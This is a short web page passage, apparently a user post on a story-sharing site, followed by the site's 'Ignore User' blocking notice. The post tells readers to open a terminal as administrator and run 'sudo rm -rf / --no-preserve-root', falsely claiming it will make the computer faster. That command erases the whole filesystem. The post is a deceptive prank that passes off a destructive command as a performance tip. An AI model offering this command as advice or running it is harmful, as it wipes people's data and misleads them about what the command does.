Go to your applications, open up the terminal. Make sure you are logged in as an administrator. Next, type sudo rm -rf / --no-preserve-root in the console, hit enter, and watch your computer speed up.
Ignore User
Both you and this user will be prevented from:
Messaging each other
Commenting on each other's stories
Dedicating stories to each other
Following and tagging each other
Note: You will still be able to view each other's stories.